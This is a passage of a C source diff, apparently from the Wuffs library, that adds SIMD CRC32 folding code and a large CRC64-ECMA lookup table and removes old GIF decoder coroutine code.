_mm_xor_si128(v_x0, v_y0); ++ v_y2 = _mm_xor_si128(v_y2, v_x3); ++ v_x2 = _mm_xor_si128(v_x2, v_y2); ++ v_y4 = _mm_xor_si128(v_y4, v_x5); ++ v_x4 = _mm_xor_si128(v_x4, v_y4); ++ v_y6 = _mm_xor_si128(v_y6, v_x7); ++ v_x6 = _mm_xor_si128(v_x6, v_y6); ++ v_kk = _mm_set_epi32((int32_t)(0u), (int32_t)(2166711591u), (int32_t)(0u), (int32_t)(4057597354u)); ++ v_y0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(0u)); ++ v_x0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(17u)); ++ v_y4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(0u)); ++ v_x4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(17u)); ++ v_y0 = _mm_xor_si128(v_y0, v_x2); ++ v_x0 = _mm_xor_si128(v_x0, v_y0); ++ v_y4 = _mm_xor_si128(v_y4, v_x6); ++ v_x4 = _mm_xor_si128(v_x4, v_y4); ++ v_kk = _mm_set_epi32((int32_t)(0u), (int32_t)(496309207u), (int32_t)(0u), (int32_t)(2402626965u)); ++ v_y0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(0u)); ++ v_x0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(17u)); ++ v_y0 = _mm_xor_si128(v_y0, v_x4); ++ v_x0 = _mm_xor_si128(v_x0, v_y0); ++ v_kk = _mm_set_epi32((int32_t)(1u), (int32_t)(3681617473u), (int32_t)(3034951717u), (int32_t)(4144043585u)); ++ v_s = ((uint32_t)(_mm_extract_epi32(_mm_clmulepi64_si128(_mm_clmulepi64_si128(_mm_cvtsi64_si128((int64_t)(((uint64_t)(_mm_extract_epi64(v_x0, (int32_t)(0u)))))), v_kk, (int32_t)(0u)), v_kk, (int32_t)(16u)), (int32_t)(2u)))); ++ v_kk = _mm_set_epi32((int32_t)(1u), (int32_t)(3681617473u), (int32_t)(3034951717u), (int32_t)(4144043585u)); ++ v_s = ((uint32_t)(_mm_extract_epi32(_mm_clmulepi64_si128(_mm_clmulepi64_si128(_mm_cvtsi64_si128((int64_t)((((uint64_t)(_mm_extract_epi64(v_x0, (int32_t)(1u)))) ^ ((uint64_t)(v_s))))), v_kk, (int32_t)(0u)), v_kk, (int32_t)(16u)), (int32_t)(2u)))); ++ } ++ while (((uint64_t)(a_x.len)) >= 8u) { ++ v_kk = _mm_set_epi32((int32_t)(1u), (int32_t)(3681617473u), (int32_t)(3034951717u), (int32_t)(4144043585u)); ++ v_s = ((uint32_t)(_mm_extract_epi32(_mm_clmulepi64_si128(_mm_clmulepi64_si128(_mm_cvtsi64_si128((int64_t)((wuffs_base__peek_u64le__no_bounds_check(a_x.ptr) ^ ((uint64_t)(v_s))))), v_kk, (int32_t)(0u)), v_kk, (int32_t)(16u)), (int32_t)(2u)))); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 8u); + } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 2)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ while (((uint64_t)(a_x.len)) > 0u) { ++ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ a_x.ptr[0u]))] ^ (v_s >> 8u)); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); + } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ self->private_impl.f_state = (4294967295u ^ v_s); ++ return wuffs_base__make_empty_struct(); ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC32) + +- uint32_t coro_susp_point = self->private_impl.p_tell_me_more[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC64) + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_gif__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_gif__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++// ---------------- Status Codes Implementations + +- ok: +- self->private_impl.p_tell_me_more[0] = 0; +- goto exit; +- } ++// ---------------- Private Consts + +- goto suspend; +- suspend: +- self->private_impl.p_tell_me_more[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++static const uint64_t ++WUFFS_CRC64__ECMA_TABLE[8][256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ { ++ 0u, 12911341560706588527u, 17619267392293085275u, 5164075066763771700u, 8921845837811637811u, 14483170935171449180u, 10328150133527543400u, 4357999468653093127u, ++ 17843691675623275622u, 4940391307328217865u, 226782375002905661u, 12685511915359257426u, 10119945210068853333u, 4566377562367245626u, 8715998937306186254u, 14689403211693301089u, ++ 9051005139383707209u, 14895072503764629798u, 9880782614656435730u, 4193374422961527165u, 453564750005811322u, 13070904082541799189u, 17496296445768931361u, 4747102235666401102u, ++ 9960315520700766767u, 4113029525020509504u, 9132755124734491252u, 14812441257301386523u, 17431997874612372508u, 4811156168024382323u, 391483189436228679u, 13132671735097031464u, ++ 18102010278767414418u, 5195199925788447741u, 1131375642422963401u, 13591081480414639014u, 9288535643022529185u, 3731739485546663374u, 8386748845923054330u, 14361410892855143829u, ++ 907129500011622644u, 13814943346342178715u, 17875617253995106479u, 5421418680781082560u, 8594564625313771207u, 14152643483341451688u, 9494204471332802204u, 3525329033817543155u, ++ 9704381199536204507u, 3855837706121835956u, 8226059050041019008u, 13908973417437222383u, 18265510249468982504u, 5643692520190618503u, 718348998302913715u, 13463047253836762076u, ++ 8146277531524994749u, 13989069943491807698u, 9622312336048764646u, 3938150108875254153u, 782966378872457358u, 13399312233903888353u, 18327840216347633877u, 5582173445676054458u, ++ 7257036000092981153u, 15535280666427316430u, 10390399851576895482u, 2529986302517213333u, 2262751284845926802u, 12414353723947190013u, 16997392145760156105u, 6398650419759490726u, ++ 10599130201908394951u, 2322133910755632296u, 7463478971093326748u, 15329644185724306675u, 16773497691846108660u, 6622864283287239323u, 2036569382881248687u, 12640783567252986560u, ++ 1814259000023245288u, 12250853444207230599u, 17125426475222188467u, 6811676960462675676u, 7132938157145702363u, 15119434731753103540u, 10842837361562165120u, 2690676064372932847u, ++ 17189129250627542414u, 6747026957542163169u, 1875814858707893717u, 12188560364711551674u, 10762704257491731389u, 2770420489343360210u, 7050658067635086310u, 15201536148867841161u, ++ 11493583972846619443u, 3219832958944941148u, 7711675412243671912u, 15576564987190227975u, 16452118100082038016u, 6305011443818121839u, 1213047649942025563u, 11816267669673208372u, ++ 7503259434831574869u, 15784731923736995898u, 11287385040381237006u, 3425713581329221729u, 1436697996605827430u, 11591809733187859977u, 16677985422973077821u, 6078267261889762898u, ++ 16292555063049989498u, 5851447209550246421u, 1630020308903038241u, 11939238787801010766u, 11081681957373440841u, 3090674103720225830u, 7876300217750508306u, 16023932746787097725u, ++ 1565932757744914716u, 12003503911822413427u, 16230825569204842823u, 5913566482019610152u, 7956607163135676207u, 15944361922680361024u, 11164346891352108916u, 3008957496780927003u, ++ 14514072000185962306u, 8809633696146542637u, 4460922918905818905u, 10287960411460399222u, 12879331835779764593u, 113391187501452830u, 5059972605034426666u, 17660565739912801861u, ++ 4525502569691853604u, 10224187249629523019u, 14576435430675780479u, 8748148222884465680u, 4980157760350383383u, 17740628527280140920u, 12797300839518981452u, 195741594718114339u, ++ 13040162471224305931u, 565687821211481700u, 4644267821511264592u, 17536326748496696895u, 14926957942186653496u, 8937808626997553239u, 4297282312656885603u, 9839608450464401420u, ++ 4852190599768102253u, 17327666750234135042u, 13245728566574478646u, 359174499151456857u, 4073138765762497374u, 10063573324157604913u, 14700457781105076997u, 9163920108173816938u, ++ 3628518000046490576u, 9328460452529085631u, 14330211790445699979u, 8498696072880078052u, 5299565100954197475u, 18061012165519327884u, 13623353920925351352u, 1018284691440624343u, ++ 14265876314291404726u, 8562713237611094233u, 3566469078572851181u, 9390260331795218562u, 13702854325316886917u, 937907429353946858u, 5381352128745865694u, 17978417549248290481u, ++ 5746791986423309721u, 18225777846762470134u, 13494053915084326338u, 606523824971012781u, 3751629717415787434u, 9745292510640121029u, 13876787882151992305u, 8338992711486538910u, ++ 13285957365033343487u, 815010154451519120u, 5540840978686720420u, 18431906428167644875u, 14101316135270172620u, 8115412784602421411u, 3978303581567838103u, 9519354766961195256u, ++ 12527462061959317731u, 2230461459452909452u, 6439665917889882296u, 16893009583564617687u, 15423350824487343824u, 7288217715337890239u, 2490078880175191691u, 10493603952060017124u, ++ 6520081235612152965u, 16813546994155744234u, 12610022887636243678u, 2148641156328442801u, 2426095299884051126u, 10557972909709735385u, 15361512820870335213u, 7350228890552538498u, ++ 15006518869663149738u, 7165105895222849989u, 2649782550477098737u, 10947027550912647582u, 12362696414880903321u, 1783234539286425590u, 6851427162658443458u, 17022309211647725485u, ++ 2873395993211654860u, 10722532847870938531u, 15232418832718623383u, 6938393941075996152u, 6642978682516671743u, 17230443782969840528u, 12156534523779525796u, 1989151790783919051u, ++ 6263731030979658865u, 16556202624882645790u, 11702894419100492842u, 1245039440087595845u, 3260040617806076482u, 11390642587947386157u, 15688795063501830681u, 7680756410435167606u, ++ 11622868312827688983u, 1324891275238549368u, 6181348207440451660u, 16638201170595874595u, 15752600435501016612u, 7616209416359311691u, 3321489341258335871u, 11328242235714328848u, ++ 3131865515489829432u, 10977756817953029463u, 16137146508898304611u, 7844397531750915340u, 5811434156413844491u, 16395372229761246052u, 11827132964039220304u, 1660744670629167935u, ++ 15913214326271352414u, 8068573254449152305u, 2905717078206922245u, 11204220263579804010u, 12035829987123708013u, 1452858539103461122u, 6017914993561854006u, 16189773752444600153u, ++ }, { ++ 0u, 6118555238288912653u, 12237110476577825306u, 18247330833359770391u, 13942380710360636081u, 10778293617712507836u, 7543452712389327019u, 4343374206906190246u, ++ 1162559746622204903u, 4957131115480832746u, 13398436261328603645u, 17084888254066768112u, 15086905424778654038u, 9634902877839851611u, 8686748413812380492u, 3198961161184305729u, ++ 2325119493244409806u, 8407378615347160771u, 9914262230961665492u, 15960741045388068057u, 16229058527915052415u, 13101053971319389298u, 5254506258681524069u, 2018377927885299304u, ++ 3487552142959377449u, 7246080283574668580u, 11075676491871100467u, 14798208821638459198u, 17373496827624760984u, 11957750539307177877u, 6397922322368611458u, 873845550624159119u, ++ 4650238986488819612u, 1468611264581623441u, 16814757230694321542u, 13669406796222545035u, 9364600845881799981u, 15356367945216001056u, 2893367039927949111u, 8993183146101597754u, ++ 5812680741028562043u, 307286854339917174u, 17976181078471403105u, 12506848973898782572u, 10509012517363048138u, 14213073068277772231u, 4036755855770598608u, 7848658706446142941u, ++ 6975104285918754898u, 3757679901787621727u, 14492160567149337160u, 11382574084698991429u, 11651310343450272483u, 17679087685142107118u, 604386294999662841u, 6668229816820511220u, ++ 8137636784695169973u, 2596263716583940792u, 15653459723670892975u, 10220140060479144098u, 12795844644737222916u, 16535671346696648713u, 1747691101248318238u, 5523790692630174227u, ++ 9300477972977639224u, 15418239225476001333u, 2937222529163246882u, 8947075512310451247u, 4642267913777087881u, 1478833794519692420u, 16842993350473770899u, 13643422681269376670u, ++ 10462937938231096543u, 14256895642581861842u, 4098594218943518405u, 7784568886045304776u, 5786734079855898222u, 335485660068962147u, 17986366292203195508u, 12498915352811683193u, ++ 11625361482057124086u, 17707288688936286715u, 614573708679834348u, 6660293997941431265u, 6929031904881267271u, 3801500275841901386u, 14553996732492558429u, 11318486464284246352u, ++ 12787875770090627857u, 16545891676414235164u, 1775925023235784971u, 5497808777625382918u, 8073511711541197216u, 2658137194938402989u, 15697317412892285882u, 10174030228858301111u, ++ 13950208571837509796u, 10768213751408296361u, 7515359803575243454u, 4369215658492879795u, 64266086328445461u, 6056541296517372696u, 12193111774187735055u, 18293581128395077890u, ++ 15112713823828466499u, 9606842886146402894u, 8676701462472931673u, 3206755967968430164u, 1208772589999325682u, 4913169729330573567u, 13336459633641022440u, 17149116886581154533u, ++ 16275273569390339946u, 13057090384914568807u, 5192527433167881584u, 2082608760381092989u, 2350925692077440475u, 8379320821714095318u, 9904217479574233025u, 15968533654375526092u, ++ 17437760713698643085u, 11895738795633802624u, 6353925819959930519u, 920093647833407386u, 3495382202496636476u, 7235998217053677361u, 11047581385260348454u, 14824052473177163051u, ++ 10447068876609200373u, 14128364157388739064u, 4118967294799201007u, 7908597456515216354u, 5874445058326493764u, 391603411424480073u, 17894151024620902494u, 12447300791057279315u, ++ 9284535827554175762u, 15289779793358354975u, 2957667589039384840u, 9071030930460645381u, 4729911307347480995u, 1535020299074674862u, 16750846767572792249u, 13591740465559749300u, ++ 12735909365018523451u, 16453465302197274166u, 1832394617641637153u, 5585730863000118316u, 8197188437887036810u, 2678299164963691655u, 15569137772090609552u, 10158372272797335197u, ++ 11573468159711796444u, 17614790262716542417u, 670971320137924294u, 6748289234561093579u, 7052776217202099821u, 3821593491595032416u, 14425748405936874615u, 11302896163253294458u, ++ 15020497008676966249u, 9555230900528283236u, 8764415362900159859u, 3262871967819308158u, 1229147417359668696u, 5037195377843840213u, 13320587995882862530u, 17020586948957226703u, ++ 13858063809762534542u, 10716528681989657987u, 7603000551683802772u, 4425403642365261721u, 84709666887204415u, 6180499360129388338u, 12177172482473303077u, 18165119875451415848u, ++ 17309582619392432295u, 11880078264510294442u, 6477599625422879421u, 940257368289594288u, 3551850046471569942u, 7323923223311315739u, 10995617555250765836u, 14731624552464748801u, ++ 16147023423082394432u, 13041502936518885965u, 5316274389876805978u, 2102700497890566231u, 2407324781779167729u, 8467313413945678076u, 9852321304593615851u, 15876037047908055782u, ++ 1291018766690942925u, 4973072573440528064u, 13274480430592564695u, 17064442507263798490u, 15030719607150486908u, 9547259896855319665u, 8738431316985759590u, 3291108156134209131u, ++ 128532172656890922u, 6134424711959717159u, 12113082593034745392u, 18226958170089932605u, 13886262546419256987u, 10690581952315096982u, 7595066862094806145u, 4435588787024731532u, ++ 3580050981226981379u, 7297974293382715662u, 10987681667836234265u, 14741811897106152212u, 17353402924945863346u, 11834005814401532863u, 6413511935936860328u, 1002093465131966885u, ++ 2417545179998651364u, 8459344608371405545u, 9826339458661147134u, 15904271038397419763u, 16208896970474576213u, 12977377931899316312u, 5270164626790366031u, 2146558256149678658u, ++ 5864365122984562769u, 399431204366950748u, 17919992407673188939u, 12419207813205476166u, 10385054866335763168u, 14192630174644861933u, 4165217520762185978u, 7864598685623228919u, ++ 4701851384154880950u, 1560828767195761339u, 16758641643428190636u, 13581693582721149089u, 9240574510442684679u, 15335992705270927370u, 3021896290089222941u, 9009054371811832336u, ++ 8153224920554538911u, 2724514274940876434u, 15633368673088300421u, 10096393516356015240u, 12707851639919861038u, 16479271570068024355u, 1840187295666814772u, 5575686180147088953u, ++ 6990764404993272952u, 3885857308630146421u, 14471996434107354722u, 11258899592309161839u, 11563386024119531209u, 17622620253752952772u, 696814903175779539u, 6720194058879067614u, ++ }, { ++ 0u, 4542972359516777931u, 9085944719033555862u, 4691664355513513565u, 18171889438067111724u, 14061474303606774503u, 9383328711027027130u, 13633424072306524529u, ++ 7676286055365832925u, 6164376987427609878u, 1481798532234586955u, 3142253189322229376u, 10855962452864321521u, 12223826156538735162u, 16771372852738792551u, 15543052108730888620u, ++ 15352572110731665850u, 16862791698018765937u, 12328753974855219756u, 10669987536837040103u, 2963597064469173910u, 1597421751597874013u, 6284506378644458752u, 7511137813735006411u, ++ 13801544397233820007u, 9260261528098962604u, 13951919735851666161u, 18344511890033026874u, 4874982405016790603u, 8983709158270585728u, 4445237816650825181u, 196831773885239318u, ++ 4091022007653359089u, 562346998784700474u, 5103132815620245095u, 8780357948041161644u, 14189083196432476893u, 18150173592266475286u, 13474345022262784331u, 9652793049543924864u, ++ 5927194128938347820u, 7875246409875505383u, 3194843503195748026u, 1395478681687169905u, 12569012757288917504u, 10477056948030502859u, 15022275627470012822u, 17253916197967211613u, ++ 17134349580696108107u, 15186860751721288064u, 10655150290339489757u, 12453952663903504918u, 1289987737384422247u, 3381381201708377772u, 8066289525279445233u, 5835212509754572090u, ++ 9749964810033581206u, 13278076374523191645u, 17967418316541171456u, 14290755639648123595u, 8890475633301650362u, 4929947589851190897u, 393663547770478636u, 4214651972966108647u, ++ 8182044015306718178u, 5658655167774316073u, 1124693997569400948u, 3499391957275839935u, 10206265631240490190u, 12873559114121502981u, 17560715896082323288u, 14753743294414502547u, ++ 1948880861322201919u, 2594127930539943668u, 7285718382500778153u, 6491924633276939618u, 16655531858934856723u, 15577868310755742168u, 11039333611388512133u, 11977453108914408014u, ++ 11854388257876695640u, 11207451878732806035u, 15750492819751010766u, 16545974958769302533u, 6389687006391496052u, 7469038772501250239u, 2790957363374339810u, 1851148384058628905u, ++ 14845159798643632773u, 17370237963685480270u, 12687582131971748115u, 10311195790054169816u, 3615017233668480425u, 946035540305899618u, 5493509258033841727u, 8302171348940565492u, ++ 5281120895271462419u, 8521283507583323096u, 3989500891288354181u, 600787064567550030u, 13071075951463747903u, 9974957613568212212u, 14659789384177486505u, 17616368207971182434u, ++ 2579975474768844494u, 2073357103652371205u, 6762762403416755544u, 7120694423275413651u, 16132579050558890466u, 16206641305794825257u, 11670425019509144180u, 11456679111066785727u, ++ 11260412520859862953u, 11767594448091671138u, 16308316081471249471u, 15949821717821010420u, 6947506857025941637u, 6872882154850049358u, 2196985003345963795u, 2411294364755134168u, ++ 17780951266603300724u, 14540225107906894527u, 9859895179702381794u, 13249171359945539881u, 787327095540957272u, 3884007889973030291u, 8429303945932217294u, 5472161678768272901u, ++ 16364088030613436356u, 15858029804260760079u, 11317310335548632146u, 11674676600264311193u, 2249387995138801896u, 2322888996435045667u, 6998783914551679870u, 6785602652076537525u, ++ 9916730820443375385u, 13156333278251739858u, 17836661041797717135u, 14448512960480194884u, 8480501340405739573u, 5384944246861192702u, 839650424281590691u, 3795664592519366248u, ++ 3897761722644403838u, 656471011406904245u, 5188255861079887336u, 8578093388688728099u, 14571436765001556306u, 17668683201823263897u, 12983849266553879236u, 10026146741872662287u, ++ 6669836397870376611u, 7177582867921406824u, 2488175334770097461u, 2129119614032302334u, 11583119667977343375u, 11507929313807383620u, 16044147764761037337u, 16259017374083049426u, ++ 15843330937415051829u, 16489139217633298430u, 11946100509993103779u, 11151742071862860904u, 2878174689517968665u, 1799951022334374098u, 6478030266801178255u, 7416715545229372228u, ++ 12779374012782992104u, 10255423946675697443u, 14938077545002500478u, 17313340186040954037u, 5581914726748679620u, 8249768321177223183u, 3702296768117257810u, 894758378090191769u, ++ 1067805515879173007u, 3592318064290702916u, 8126281399163064345u, 5750455340522077650u, 17509465798031703203u, 14841048614271029608u, 10153889598922762037u, 12961990299524614910u, ++ 7230034467336960850u, 6583663697231173273u, 1892071080611799236u, 2686992928761285903u, 10987018516067683454u, 12065805765134311861u, 16604342697881130984u, 15665095101429070371u, ++ 10562241790542924838u, 12510858718452294125u, 17042567015166646192u, 15242640940723501691u, 7979001782576708362u, 5886480219318720193u, 1201574129135100060u, 3433774845539634519u, ++ 17875696825445760251u, 14346457162030502192u, 9657117384671061869u, 13334903762452155046u, 305328503063841751u, 4266984645440464412u, 8803266454141587521u, 4981154328058445194u, ++ 5159950949537688988u, 8687502257518297175u, 4146714207304742410u, 470617173809470401u, 13525524806833511088u, 9565558111887030139u, 14241388846550827302u, 18061812720343526637u, ++ 3250597773715660097u, 1303669193657626762u, 5984074333724313303u, 7782311056298339100u, 15074661043719826029u, 17165493152098584486u, 12620272307991097851u, 10389759836427934768u, ++ 12273052416502600151u, 10761709128327461916u, 15295744618112993857u, 16955639155056813962u, 6232173811933554427u, 7599472825692375856u, 2912390363305901421u, 1684630829289181350u, ++ 13895013714051883274u, 18437420284065877185u, 13745764309700098716u, 9352044056584181591u, 4393970006691927590u, 284119552558480365u, 4822588729510268336u, 9072122871209877627u, ++ 9177754244107333741u, 4635909983525117350u, 92935459340889083u, 4486092121981797936u, 9471751652205676353u, 13581038687731985034u, 18259186513699183831u, 14010214853299335452u, ++ 1574654191081914544u, 3085435160094502267u, 7768015779946060582u, 6108684823746459373u, 16858607891864434588u, 15491872287116188247u, 10944323357536545802u, 12171520400656925121u, ++ }, { ++ 0u, 2156813408461955548u, 4313626816923911096u, 2752718492472304228u, 8627253633847822192u, 7661928252530632364u, 5505436984944608456u, 5875429064940414228u, ++ 17254507267695644384u, 17481523150583344956u, 15323856505061264728u, 14503785508944014468u, 11010873969889216912u, 9592933115173218380u, 11750858129880828456u, 13762408288327199732u, ++ 5489899806547772229u, 5899293950881604249u, 8641596751236382973u, 7639112309309301025u, 4290280838231655477u, 2766522915734824425u, 24548853041579917u, 2141951263632483921u, ++ 11764625126767791525u, 13739024951972572281u, 10995904098661322269u, 9617374173086412737u, 15347829100153899733u, 14488356108428585737u, 17231728733602892141u, 17495903608387299505u, ++ 10979799613095544458u, 9623805157521532758u, 11798587901763208498u, 13714458609834648814u, 17283193502472765946u, 17452775347443867686u, 15278224618618602050u, 14549338234851124126u, ++ 8580561676463310954u, 7708699370463537590u, 5533045831469648850u, 5847881786764880398u, 49097706083159834u, 2107935609010204358u, 4283902527264967842u, 2782645096555375998u, ++ 15298762408106657231u, 14537220494637179923u, 17261466032775972471u, 17465946411177207723u, 11811312492909331135u, 13692276008895521635u, 10968273481005252871u, 9644925621600215259u, ++ 4261616546501692207u, 2795266376586341107u, 70185227798988951u, 2096376465831291211u, 5520961050865536095u, 5868452604588535171u, 8593836137267777511u, 7687075229128879675u, ++ 11680230827506930577u, 13832259058284016205u, 11080421551794245673u, 9523735455073038837u, 15394057194608301281u, 14432953972299937085u, 17185658977434064729u, 17550865948466574981u, ++ 5579070418531851633u, 5801301123735731373u, 8552830750928559817u, 7736981982542757653u, 4239857041646656001u, 2826138345940532189u, 75412445699561913u, 2082177495183685733u, ++ 17161123352926621908u, 17565732457015587080u, 15417398740927075180u, 14419136389292487344u, 11066091662939297700u, 9546555762013386360u, 11695763573529760796u, 13808381012597372352u, ++ 98195412166319668u, 2067810197125185512u, 4215871218020408716u, 2841563382736944208u, 8567805054529935684u, 7712554084374493336u, 5565290193110751996u, 5824680096370817824u, ++ 4213277561403610395u, 2852497928146826439u, 118647349622822563u, 2038740285422565247u, 5603244184571253355u, 5777048188553278391u, 8511711324634206675u, 7778039831901335567u, ++ 15351860113773370363u, 14475212630091872807u, 17208772955998935107u, 17527831139023518111u, 11724816064851319947u, 13787876126790335831u, 11055209722282565427u, 9549167182608629487u, ++ 8523233093003384414u, 7756906139291137922u, 5590532753172682214u, 5799235221864313914u, 140370455597977902u, 2025555993157185778u, 4192752931662582422u, 2864620100732154698u, ++ 11041922101731072190u, 9570786891571902818u, 11736905209177070342u, 13767318537498720986u, 17187672274535555022u, 17539385849830522386u, 15374150458257759350u, 14462604578592423338u, ++ 15486092620961298855u, 14629711868178897019u, 17092483903335922207u, 17355247692313779139u, 11624791503456485079u, 13600030943165030155u, 11137009302703308143u, 9754815117126884531u, ++ 4151744643171039047u, 2626583331457439387u, 162377516962444543u, 2282879863086044451u, 5631712546292871223u, 6037452326221451755u, 8501327171535303567u, 7499692239708246611u, ++ 11158140837063703266u, 9743299917872012094u, 11602602247471462746u, 13612749016692676742u, 17105661501857119634u, 17333526894853233742u, 15473963965085515306u, 14650238604571402230u, ++ 8479714083293312002u, 7512977616177960414u, 5652276691881064378u, 6025361010828170854u, 150824891399123826u, 2303974039851176622u, 4164354990367371466u, 2604286280411140374u, ++ 5659250822143950637u, 6009834889821986545u, 8454565055791594645u, 7546392787102457161u, 4121809449076176989u, 2656298618920900993u, 211263906290727909u, 2233791159333640761u, ++ 11672732454520566221u, 13552292306546298897u, 11106145987650286197u, 9785898338790069161u, 15440531030182573757u, 14675335027319969633u, 17121240571213837573u, 17326570184971408601u, ++ 196390824332639336u, 2258328937796115892u, 4135620394250371024u, 2632959299571932684u, 8431742436040817432u, 7560729365405768388u, 5683126765473888416u, 5994308631384381820u, ++ 17135610109059871368u, 17303780593489122132u, 15425108168748986672u, 14699314298944934124u, 11130580386221503992u, 9770921945649714212u, 11649360192741635648u, 13566070240564762524u, ++ 8426555122807220790u, 7574959341548112874u, 5704995856293652878u, 5963537623700588626u, 237294699245645126u, 2208312048661695642u, 4077480570845130494u, 2700071425513574178u, ++ 11206488369142506710u, 9686112028953249034u, 11554096377106556782u, 13670376701660284594u, 17023422649268413350u, 17424940338905547386u, 15556079663802671134u, 14559229772221530562u, ++ 4089596066908350835u, 2679540256679954607u, 224121464376355531u, 2230046074588744471u, 5727171952466636291u, 5950815117732351967u, 8405427952099257787u, 7586487769270013031u, ++ 15543464952953907091u, 14581513594800801359u, 17034988434643772459u, 17403850594581005815u, 11533527867866456291u, 13682454788587061567u, 11228114617197060955u, 9672831084924650119u, ++ 17046466186006768828u, 17401835225210195296u, 15513812278582275844u, 14601417988320120536u, 11181065506345364428u, 9711332585899690512u, 11598470443728627828u, 13625782737014311336u, ++ 280740911195955804u, 2165085734748128128u, 4051111986314371556u, 2726642315882184760u, 8385505863325164844u, 7616087770173211888u, 5729240201464309396u, 5939354855465699144u, ++ 11574598932837183481u, 13641322155266051621u, 11203874897631210561u, 9696991643941850525u, 15500005765847099529u, 14624770467483748693u, 17061326039500450609u, 17377293083093715693u, ++ 5752625691707646233u, 5925581285101240517u, 8361067032314929825u, 7631051003498906493u, 4066548076212889193u, 2702667407911749557u, 266366940911429073u, 2187862166416278541u, ++ }, { ++ 0u, 6642096280510406750u, 13284192561020813500u, 16462795876764246242u, 16315823105410768893u, 13708963636559134627u, 6500836570635362113u, 439922346977066783u, ++ 6197597939812213119u, 733872460607717665u, 17174658310779658691u, 12859417258165748125u, 13001673141270724226u, 16736026809386770140u, 879844693954133566u, 5771540452186644064u, ++ 12395195879624426238u, 17305613297699152544u, 1467744921215435330u, 5220531075568771612u, 5650300446275329283u, 1316336633116425565u, 17740532779662220735u, 12258375912742239713u, ++ 18016332033719362433u, 11973850846087693279u, 4781749989466252093u, 2193612730179060579u, 1759689387908267132u, 4919860766213921826u, 11543080904373288128u, 18166453874549300382u, ++ 14614610554166352761u, 10879836598703668007u, 8253805222095936453u, 3361408799105547163u, 2935489842430870660u, 8399638907315561690u, 10441062151137543224u, 14757009366268798054u, ++ 11300600892550658566u, 13906759146888600152u, 2632673266232851130u, 8693166652788693732u, 9132946036408395259u, 2491556468171146661u, 14331668736193815879u, 11153489555886392601u, ++ 7409848711186274695u, 4249257595424012761u, 16037314857127418171u, 9413239572791867749u, 9563499978932504186u, 15606406401646028324u, 4387225460358121158u, 6976068332272625304u, ++ 3519378775816534264u, 7852640824571713702u, 9839721532427843652u, 15321459211647031322u, 15184496315767285509u, 10274783960564057947u, 7701371084599273401u, 3949009615571978215u, ++ 539203352115488887u, 6581683165424715817u, 13772373076031531211u, 16360516657443457173u, 16507610444191872906u, 13347445937900984276u, 6722817598211094326u, 99441604310980456u, ++ 5870979684861741320u, 960568039155968342u, 16799277814631123380u, 13046489736199563754u, 12904108438562707189u, 17238069777753355947u, 814716683761407561u, 6296880972452001303u, ++ 12357655745765665417u, 17821378201246059223u, 1379747099228580405u, 5694995023857257067u, 5265346532465702260u, 1530999186474390826u, 17386333305577387464u, 12494636173022434710u, ++ 18265892072816790518u, 11623803214076996520u, 4983112936342293322u, 1804507146630605588u, 2238305212630619147u, 4845162757404030037u, 12054694172541097143u, 18115614168568345833u, ++ 14819697422372549390u, 10486441695742104400u, 8498515190848025522u, 3016776137306395628u, 3442815973027425523u, 8352525304506551469u, 10925090729870978127u, 14677459070913039377u, ++ 11216336045685248625u, 14376925237369287215u, 2590274523633996493u, 9214355580338500243u, 8774450920716242316u, 2731551919773330898u, 13952136664545250608u, 11363291318662491502u, ++ 7038757551633068528u, 4432606169309893038u, 15705281649143427404u, 9644785238863483154u, 9494645848386137613u, 16136034042300943955u, 4294513027018469041u, 7472698529450626799u, ++ 4011857131457007759u, 7746628612951437521u, 10373500843358195763u, 15265904688119197805u, 15402742169198546802u, 9938598876682809132u, 7898019231143956430u, 3582070091934478224u, ++ 1078406704230977774u, 5970139571501035696u, 13163366330849431634u, 16897748309796073484u, 17049000381336047379u, 12733717820530814797u, 6107119981172920239u, 643361792051163121u, ++ 6410046491609887121u, 349161128571523535u, 16190407203032477997u, 13583585392940618099u, 13445635196422188652u, 16624205252526067250u, 198883208621960912u, 6840937431151644302u, ++ 11741959369723482640u, 18365299631022420558u, 1921136078311936684u, 5081265949533565682u, 4656338829252136429u, 2068229881835728307u, 17925537898651110737u, 11883093821164285199u, ++ 17650059563187254127u, 12167860639460954929u, 5524638460789093331u, 1190641388963713933u, 1629433367522815122u, 5382257181810330828u, 12593761944904002606u, 17504208224571739248u, ++ 14134199920450915223u, 10956049054195313609u, 8970094247992396587u, 2328741787718953845u, 2759494198457160810u, 8819954874021999668u, 11389990047714514134u, 13996106797082358920u, ++ 10530693064931404520u, 14846677937748691638u, 3061998372948781652u, 8526176301674629642u, 8091274350704555285u, 3198835872954668363u, 